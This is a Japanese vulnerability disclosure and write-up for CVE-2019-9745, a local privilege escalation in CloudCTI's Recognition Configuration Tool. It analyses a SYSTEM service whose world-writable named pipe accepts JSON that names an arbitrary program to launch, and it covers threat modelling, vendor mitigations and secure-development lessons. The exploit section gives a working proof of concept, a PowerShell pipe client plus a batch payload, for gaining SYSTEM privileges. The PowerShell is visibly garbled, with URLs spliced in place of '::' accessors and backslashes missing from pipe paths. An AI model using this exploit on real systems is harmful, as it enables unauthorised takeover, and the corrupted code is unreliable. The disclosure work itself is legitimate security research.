
創造性はペネトレーションテストの核心であり、それが私たちの仕事を面白くしています。しかし、1つの落とし穴は、攻撃シナリオを「過剰設計」し、バグ(エラー条件)のみに焦点を当てる傾向があることです。しかし、欠陥(意図しない動作)も同様に壊滅的な結果をもたらす可能性があります。この記事は、そのような欠陥に対するペンテストの重要性を示すケーススタディを提供します。同時に、SDLC(セキュア開発ライフサイクル)プロセスの採用を提唱します。
この記事は、脆弱性CVE-2019-9745のRD(責任ある開示)の一部であり、ベンダーCloudCTIと緊密に協力して作成されました。この記事では、脆弱性の高レベルの概要を示した後、技術的詳細を深く掘り下げます。脆弱性の悪用を実証した後、学んだ教訓を添えた結論が提供されます。
私たちがペネトレーションテスト中に調査したCloudCTI Recognition Configuration Toolは、CRM(顧客関係管理)ソフトウェアから情報を取得するために使用されます。これにより、コールセンター担当者は顧客との通話中に関連情報を取得できます。ローカルシステムを完全に侵害するために連鎖させることができるいくつかの問題が特定されました。ベンダーは、これが他顧客のシステムや自社のシステムには影響しないことを強調したいと考えています。
多くのセキュリティ脆弱性と同様に、重要な問題は、自分の影響範囲外から来るデータの検証にあります。同様に重要なのは、システムとソフトウェアが敵対的な環境で動作するという認識です。時と経験から、盗聴はインターネット上の脅威であると学んできました。しかし、同じことは他の通信チャネルにも当てはまり、システム内部でさえも同様です。これが脆弱性の発見に決定的な役割を果たしました。
遭遇した問題の根本原因分析は、TM(脅威モデリング)などのプラクティスの重要性を示しています。TMは設計・開発の初期段階でリスクを特定するのに役立ちます。これにより、許容できないリスクの緩和や、再設計・再実装につながる可能性があります。読者には自分自身で分析を行うことを推奨しますが、参考としてベンダーの対策の説明を提供します。
ベンダーソフトウェアは、連携して動作する4つのアプリケーションで構成されています。最初のアプリケーションはグラフィカルユーザーインターフェース(GUI)です。これにより、ユーザーは複数のCRMソフトウェアパッケージから情報取得を開始できます。
GUIはメッセージを送信することで、情報取得をサービス(2番目のアプリケーション)に委任します。最初のセキュリティ問題はここに現れます。システム上の誰でもGUIとサービスの間のメッセージを観察してその形式と内容を判断できるだけでなく(機密性に影響)、自分自身のメッセージを送信することもできます(認可に影響)。さらに、サービスへのメッセージの送信元が検証されません(否認防止に影響)。STRIDE脅威モデリングの用語では、これはシステムが情報漏えいと改ざんに対して脆弱であることを意味します。実際、これらのメッセージから得られた情報は、脆弱性の発見に決定的な役割を果たしました。
3番目のアプリケーションは、多数の専門インポーターの1つです。サービスは、特定のCRMパッケージの情報取得を特定のインポーターにオフロードします。GUIから送信されるメッセージには、このインポーター向けの特定の指示が含まれています。Exquise CRMインポーターを見ると、情報取得がさらに外部(4番目)のアプリケーションに委任されていることがわかります。インポーターの内部ロジックを調査したところ、外部アプリケーションがGUIとサービスの間のメッセージで指定できることが判明しました。ここで顕在化する問題は、外部アプリケーションがその正体を検証されることなく実行されることです(否認防止に影響)。
これらの問題を連鎖させることで、メッセージを盗聴してその形式を判断し、悪意のある独自の外部アプリケーションを指定したメッセージを送信することができました。その外部アプリケーションは、インポーター/サービスと同じ権限で実行されます。これらの権限はシステム内で可能な限り最高であるため、完全な制御が達成され、システムが侵害されます。
これらの問題は、ベンダーによって次のように緩和されています。一意の共有シークレット(認可の問題を緩和)を使用してメッセージを暗号化し(機密性の問題を緩和)、その共有シークレットは、それを所有する認証済みシステムユーザーのみがアクセスできます(最初の否認防止の問題を緩和)。最後に、外部アプリケーションは暗号学的に署名されます(2番目の否認防止の問題を緩和)。これらの対策を組み合わせることで、この脆弱性は効果的に緩和されます。
CloudCTI Recognition Configuration Tool GUIアプリケーション(C:\Program Files (x86)\CloudCTI Recognition Configuration Tool\CloudCTI Recognition Configuration Tool.exe)がインストールされる際、Process Explorerで調査されます。これにより、コンパニオンサービス(Recognition Update Client Service)がインストールされ、NT AUTHORITY\SYSTEM権限で実行されていることが明らかになります:
サービス実行可能ファイル(C:\Program Files (x86)\CloudCTI Recognition Configuration Tool\RUCS\RecognitionUpdateClientServiceService.exe)を調査すると、.NETプログラミング言語で開発されていることが明らかになります。これは dnSpy を使用して逆コンパイルでき、その内部ロジックの洞察を得ることができます。詳細は以下で説明します。
RUCS2017Service(サービス実行可能ファイル内の内部 .NET 名前空間)は、RUCS2017 名前空間(C:\Program Files (x86)\CloudCTI Recognition Configuration Tool\RUCS\RUCS2017.dll)の薄いラッパーであることがわかります。これは、RUCS2017.dll:RUCS2017.TRUCS2017:902 に RUCS20151029 という名前の名前付きパイプサーバーを定義します:
その名前付きパイプサーバーは RUCS2017.dll:RUCS2017.TRUCS2017:833 で起動されます:
次の Powershell ワンライナーを使用して、このパイプが実際にシステム上でアクティブであることを確認します:``` PS C:\Users\hacker> [System.IO.Directory]::GetFiles("\.\pipe\") |Select-String -Pattern "RUCS20151029"
\.\pipe\RUCS20151029
[AccessChk](https://docs.microsoft.com/en-us/sysinternals/downloads/accesschk) を使用してパイプのアクセス権を調べます。これにより、パイプが任意のシステムユーザー (*Everyone*) によって読み取り (*R*) および書き込み (*W*) 可能であることが判明します:```
PS C:\Users\hacker> .\accesschk.exe \pipe\RUCS20151029
Accesschk v6.12 - Reports effective permissions for securable objects
Copyright (C) 2006-2017 Mark Russinovich
Sysinternals - www.sysinternals.com
\\.\Pipe\RUCS20151029
RW Everyone
RW BUILTIN\Administrators
GUI で アプリケーションの追加 機能を使用すると(図 01 を参照)、名前付きパイプ上で次の暗号化されていないトラフィックが IO Ninja を使用して観測されます:
これには次の JSON データが含まれています:```JSON { "Command":"WizardGetData", "Params": { "ReturnSize":50, "DatasourceType":"exquise exporter", "DatasourceSettings": { "ExquiseFolder":"C:\Users\hacker\Desktop"} } ,"Id":"76037453" }
パイプ上のメッセージ処理は[イベント](https://docs.microsoft.com/en-us/dotnet/standard/events/)ベースであり、サービスのコンストラクタ内(*RUCS2017.dll:RUCS2017.TRUCS2017:803*)でサブスクライブされます。

**<div style="text-align: right">図 06</div>**
この関数では、JSON は最初に *RUCS2017.dll:RUCS2017.TRUCS2017:267* で逆シリアル化されます。

**<div style="text-align: right">図 07</div>**
*WizardGetData* JSON メッセージ構造を処理する具体的なロジックは、*TFerbCommandType.WizardGetData* 列挙ケース内の *RUCS2017.dll:RUCS2017.TRUCS2017:315* にあります。

**<div style="text-align: right">図 08</div>**
次に、タスクマネージャは解析されたメッセージ構造を渡して、*RUCS2017.dll:RUCS2017.TRUCS2017.TTaskManager:614* で新しいスレッドを開始します。

**<div style="text-align: right">図 09</div>**
*DatasourceType*(特定の CRM パッケージ用)は、*RUCS2017.dll:RUCS2017.TRUCS2017.TTaskManager:177* で動的に読み込まれます。

**<div style="text-align: right">図 10</div>**
これにより、*json.conf:17* で定義された *.dll* ファイルが読み込まれます。

**<div style="text-align: right">図 11</div>**
メッセージのさらなる処理は、*RUCS2017.dll:RUCS2017.TRUCS2017.TTaskManager:197*(*図 10*)で *C:\Program Files (x86)\CloudCTI Recognition Configuration Tool\RUCS\Datasources\Legacy\DatasourceExquiseExporter.dll* プラグインに委任されます。
*CloudCTI.Datasources.ExquiseExporter.RUS2015.ExquiseExporterDatasource* は、*CloudCTI.Datasources.TextFile.RUS2015.TextFileDatasource*(*C:\Program Files (x86)\CloudCTI Recognition Configuration Tool\RUCS\Datasources\Legacy\DatasourceTextFile.dll*)から派生しています。これはさらに *CloudCTI.Datasources.RUS2015.DatasourceBase*(*C:\Program Files (x86)\CloudCTI Recognition Configuration Tool\RUCS\Datasources\Legacy\CloudCTIReplicationDatasourcesClass.dll*)から派生しています。*GetData* メソッドの実装は *CloudCTI.Datasources.RUS2015.DatasourceBase:133* にあり、*CloudCTI.Datasources.RUS2015.DatasourceBase:142* で *initializeDatasource* を呼び出します。

**<div style="text-align: right">図 12</div>**
これはさらに、*CloudCTI.Datasources.RUS2015.DatasourceBase:598* で *DatasourceInitialize* を呼び出します。

**<div style="text-align: right">図 13</div>**
最初に、JSON メッセージが *CloudCTI.Datasources.ExquiseExporter.RUS2015.ExquiseExporterDatasource:24* で解析されます。

**<div style="text-align: right">図 14</div>**
このメッセージの構造は、*CloudCTI.Datasources.ExquiseExporter.RUS2015.ExquiseExporterSettings* クラスで定義されています。このクラスには、私たちにとって非常に注目すべき *ExporterApplication* プロパティも含まれています。

**<div style="text-align: right">図 15</div>**
*CloudCTI.Datasources.ExquiseExporter.RUS2015.ExquiseExporterDatasource:29*(*図 14* 参照)では、メッセージ内に *ExporterApplication* が設定されているかどうかがチェックされます。設定されていない場合はデフォルトのアプリケーションが使用され、設定されている場合はメッセージ内の外部アプリケーションが使用されます。<span style='color:red'>**ここに脆弱性が顕在化します**</span>。*CloudCTI.Datasources.ExquiseExporter.RUS2015.ExquiseExporterDatasource:41*(*図 14* 参照)では、*createExportFile* メソッドが呼び出され、先に決定された外部アプリケーションが起動されます(*73* 行)。

**<div style="text-align: right">図 16</div>**
# エクスプロイト #
サービスプロセス(*C:\Program Files (x86)\HIP Integrator\RUCS\RecognitionUpdateClientServiceService.exe*)は *NT AUTHORITY\SYSTEM* 権限で実行されるため、システムの**すべての**側面にアクセスできます。私たちも今や、*CloudCTI.Datasources.ExquiseExporter.RUS2015.ExquiseExporterSettings.ExporterApplication* プロパティを介して同様のアクセス権を持ちます。これをメッセージに組み込むと、次の JSON テンプレートになります。```JSON
{
"Command":"WizardGetData",
"Params":
{
"ReturnSize":RETURN_SIZE,
"DatasourceType":"exquise exporter",
"DatasourceSettings":
{
"ExquiseFolder":"FOLDER_NAME",
"ExporterApplication":"APPLICATION_NAME"
}
},
"Id":"RANDOM_VALUE"
}
試行錯誤の結果、ExporterApplication は batch スクリプトにできることが判明しました。追加リソースのダウンロードを必要とせず、低い権限のユーザーが管理する (ユーザー) ディレクトリに配置できます。すべてのユーザーが RUCS20151029 名前付きパイプに書き込めるため、次の PowerShell スクリプトを使用して、細工した JSON を名前付きパイプに送信します:
CVE-2019-9745.ps1:```powershell
add-Type -assembly "System.Core"
New-Item -ItemType directory -Path data -Force > $null
Remove-Item -Path C:\Windows\Temp\exquiseexport.csv -Force -ErrorAction Ignore $pipeName = '\RUCS20151029'
$pipe = new-object System.IO.Pipes.NamedPipeClientStream( ".", $pipeName, [System.IO.Pipes.PipeDirection]:https://raw.githubusercontent.com/kpn-ciso/cve-2019-9745/master/:InOut, [System.IO.Pipes.PipeOptions]:https://raw.githubusercontent.com/kpn-ciso/cve-2019-9745/master/:Asynchronous, [System.Security.Principal.TokenImpersonationLevel]:https://raw.githubusercontent.com/kpn-ciso/cve-2019-9745/master/:Anonymous ); $pipe.Connect(1000); $pipe.ReadMode = [System.IO.Pipes.PipeTransmissionMode]::Message; $pipeWriter = new-object System.IO.StreamWriter($pipe);
$payload = '{"Command":"WizardGetData","Params":{"ReturnSize":50,"DatasourceType":"exquise exporter","DatasourceSettings":{"ExquiseFolder":"C:\Users\hacker\exploit","ExporterApplication":"C:\Users\hacker\exploit\CVE-2019-9745.bat"}},"Id":"' + $(Get-Random) + '"}'
$payload = [System.Text.Encoding]::Unicode.GetBytes($payload)
$pipeWriter.Write($payload, 0, $payload.length); $pipeWriter.flush()
以下のバッチスクリプトは、JSONメッセージ内で外部アプリケーション(*ExporterApplication*)として指定されています。概念実証として、実行するユーザーの名前がファイルに書き込まれます。もちろん、これは任意のコマンド(シーケンス)に置き換えることができます。
**CVE-2019-9745.bat**:```batch
@ECHO OFF
whoami > C:\Users\hacker\exploit\CVE-2019-9745.log
メッセージが通常(低権限)ユーザー(CVE-2019-9745.ps1 を使用)によって送信されると、CVE-2019-9745.bat が昇格された特権(NT Authority\SYSTEM)で実行されることを実際に確認できます:
ペネトレーションテストの観点からすると、システムの(ビジネス)ロジックの欠陥をテストすることは、かなりの時間投資になり得ます。ほとんどのペネトレーションテストはブラックボックステスト(ホワイトボックステストとは対照的)であるため、これには通常リバースエンジニアリングが伴います。しかしながら、実証されたように、欠陥はバグと同じくらい壊滅的な影響を与える可能性があります。このため、バグと欠陥の両方をテストする二段構えのアプローチが強く推奨されます。
ベンダーの観点からすると、『自社製品がどのように使用されるか』という質問だけでなく、『どのように悪用されるか』という質問もすることが重要です。SDLC(セキュア開発ライフサイクル)は、製品ライフサイクルのさまざまな段階におけるリスク管理に役立ちます。セキュリティ要件、アーキテクチャ、脅威モデルは、高低両レベルの設計フェーズを支援します。静的/動的コード分析とピアレビューは開発プロセスを支援します。最後に、ペネトレーションテストは(独立した)監査を提供します。もちろん、これらのプロセスの結果はリスク許容度と照らし合わせて評価されるべきです。財務的な観点から、さまざまな調査(SDLCにおけるセキュリティのビジネスケース)は、製品ライフサイクルの初期段階で(セキュリティ)欠陥に対処する方が、事後の修正よりも費用対効果が高いと結論付けています。つまり、SDLCへの投資は長期的にはTCO (総保有コスト) を削減できることを意味します。
両方の観点を橋渡しするには、トレーニングと教育を通じてあらゆる面でセキュリティ意識への投資を続けることが重要です。これにより、急速に進化し続けるIT領域における機会とセキュリティリスクの両方について、すべての関係者が最新の情報を得ることができます。そうすることで、私たちは皆、より安全な社会の実現に貢献できます。
この脆弱性に割り当てたCVSSスコアは8.8です(CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H/E:H/RL:O/RC:C).